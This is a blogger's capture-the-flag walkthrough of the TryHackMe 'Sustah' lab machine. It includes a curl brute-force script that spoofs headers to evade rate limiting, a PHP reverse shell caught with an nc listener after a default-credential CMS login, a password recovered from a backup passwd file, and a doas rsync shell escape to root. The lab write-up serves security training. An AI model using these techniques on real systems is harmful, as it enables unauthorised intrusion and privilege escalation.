Sustah

Play a game to gain access to a vulnerable CMS. Can you beat the odds?

This is Sustah from THM. It’s medium rated. We have another ‘hint’:

The developers have added anti-cheat measures to their game. Are you able to defeat the restrictions to gain access to their internal CMS?

Ports

SSH and HTTP, plus another HTTP port (8085).

Port 80

The front page is a picture, with a quote:

“What you are is what you have been. What you’ll be is what you do now.” Buddha

Cool, cool. Dirsearch draws a blank. Doesn’t sound like a game though; let’s try the other port.

Port 8085

Here’s the game. We find a ‘spinner’ wheel (like roulette), which we can ‘spin’. There is also a message:

Feeling lucky? Guess the right number. You have a 0.004% chance of winning.

We can enter a number, and press a button to submit it. Capturing the request shows the number is submitted as a POST request to /home. 0.004% corresponds to 1 in 25000, so it’s just brute force the request with 25000 numbers, right?

Well yes, but it’s not quite that simple.

Anti-cheat

When we send a request, the server sends back a response like this:

HTTP/1.1 200 OK
Server: gunicorn/20.0.4
Date: Tue, 26 Jan 2021 09:45:51 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 1004
X-RateLimit-Limit: 10
X-RateLimit-Remaining: 9
X-RateLimit-Reset: 1611654412
Retry-After: 60

Sending more than 10 requests quickly results in a 429 - Too many requests error.

I hadn’t seen this before, but some research revealed we can set some headers of our own to try to bypass this. In the end what I did was write a script to use cURL to brute force the server, with the additional headers and also setting the user agent to the number I was sending as well; just so it wasn’t always the same. I got the script to diff the server response for each value against a prototypical bad response until I got something different:

for i in {10000..25000}
do
  touch $i.out
  curl --silent 'http://sustah:8085/home' -H 'User-Agent: $i' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'Content-Type: application/x-www-form-urlencoded' -H 'Origin: http://sustah:8085' -H 'Connection: keep-alive' -H 'Referer: http://sustah:8085/home' -H 'Upgrade-Insecure-Requests: 1' -H 'X-Forwarded-For: ' -H 'X-Forwarded-For: 127.0.0.1' -H 'X-Remote-IP: 127.0.0.1' -H 'X-Remote-Addr: 127.0.0.1' -H 'X-Originating-IP: 127.0.0.1' --data-raw "number=$i" >> $i.out
  diff $i.out proto.out
  status=$?
    if [[ $status != 0 ]]
    then
      echo "inspect $i"
    else
      rm $i.out
    fi
done

This script, after some time, revealed the answer: /YouGotTh3P@th

The Path

The path doesn’t go with port 8085, it goes on Port 80. And here, we find something called MaraCMS, which is a (sorry) butt-ugly CMS written in PHP. You can login with default credentials (which then have to be changed); this gets you an admin account. After that I just clicked around until I found a way to upload a shell, it wasn’t difficult but then later I Googled and found instructions. Bingo. I used the Pentestmonkey PHP reverse shell.

root@kali:/opt/tryhackme/sustah# nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.9.10.123] from (UNKNOWN) [10.10.135.117] 39808
Linux ubuntu-xenial 4.4.0-197-generic #229-Ubuntu SMP Wed Nov 25 11:05:42 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
 09:25:00 up  1:00,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: cant access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Kiran

We have one main user; kiran. Enumerate the server to find his password:

www-data@ubuntu-xenial:/var$ cd backups
cd backups
www-data@ubuntu-xenial:/var/backups$ ls -lash
ls -lash
total 636K
4.0K drwxr-xr-x  2 root root   4.0K Dec  9 10:04 .
4.0K drwxr-xr-x 14 root root   4.0K Dec  6 06:00 ..
4.0K -r--r--r--  1 root root   1.7K Dec  6 13:19 .bak.passwd
 52K -rw-r--r--  1 root root    50K Dec  6 06:25 alternatives.tar.0
8.0K -rw-r--r--  1 root root   6.2K Dec  9 06:46 apt.extended_states.0
4.0K -rw-r--r--  1 root root    715 Dec  6 17:08 apt.extended_states.1.gz
4.0K -rw-r--r--  1 root root    509 Nov 12 19:53 dpkg.diversions.0
4.0K -rw-r--r--  1 root root    207 Dec  6 06:01 dpkg.statoverride.0
536K -rw-r--r--  1 root root   535K Dec  6 06:19 dpkg.status.0
4.0K -rw-------  1 root root    849 Dec  6 06:17 group.bak
4.0K -rw-------  1 root shadow  714 Dec  6 06:17 gshadow.bak
4.0K -rw-------  1 root root   1.7K Dec  6 13:19 passwd.bak
4.0K -rw-------  1 root shadow 1.1K Dec  6 06:17 shadow.bak
www-data@ubuntu-xenial:/var/backups$ cat .bak.passwd
cat .bak.passwd
root:x:0:0:root:/root:/bin/bash
# etc etc
kiran:x:1002:1002:A PASSWORD HERE:/home/kiran:
www-data@ubuntu-xenial:/var/backups$ su kiran      
su kiran
Password: REDACTED

kiran@ubuntu-xenial:/var/backups$ sudo -l
sudo -l
[sudo] password for kiran: trythispasswordforuserkiran

Sorry, user kiran may not run sudo on ubuntu-xenial.

No sudo, but something similar….

Privesc

Linpeas shows me something I’ve never seen before:

[+] Checking doas.conf
 permit nopass kiran as root cmd rsync  

Sorry, what?

The doas utility is a program originally written for OpenBSD which allows a user to run a command as though they were another user. Typically doas is used to allow non-privleged users to run commands as though they were the root user. The doas program acts as an alternative to sudo, which is a popular method in the Linux community for granting admin access to specific users.

Right, so it’s basically sudo. So, with that and GTFOBins, we should be good?

kiran@ubuntu-xenial:/var/backups$ /usr/local/bin/doas -u root rsync -e 'sh -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null
< -u root rsync -e 'sh -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null                
# cd /root
cd /root
# ls -lash
ls -lash
total 32K
4.0K drwx------  4 root root 4.0K Dec  9 06:51 .
4.0K drwxr-xr-x 25 root root 4.0K Jan 26 08:24 ..
4.0K -rw-rw-r--  1 root root   30 Dec  9 06:51 .bash_profile
4.0K -rw-r--r--  1 root root 3.1K Dec  9 05:26 .bashrc
4.0K drwx------  3 root root 4.0K Dec  7 10:37 .cache
4.0K drwxrwxr-x  2 root root 4.0K Dec  7 09:17 .nano
4.0K -rw-r--r--  1 root root  148 Aug 17  2015 .profile
4.0K -r--------  1 root root   33 Dec  9 11:09 root.txt
# cat root.txt
cat root.txt
# REDACTED
# id;hostname
id;hostname
uid=0(root) gid=0(root) groups=0(root)
ubuntu-xenial

Done and done!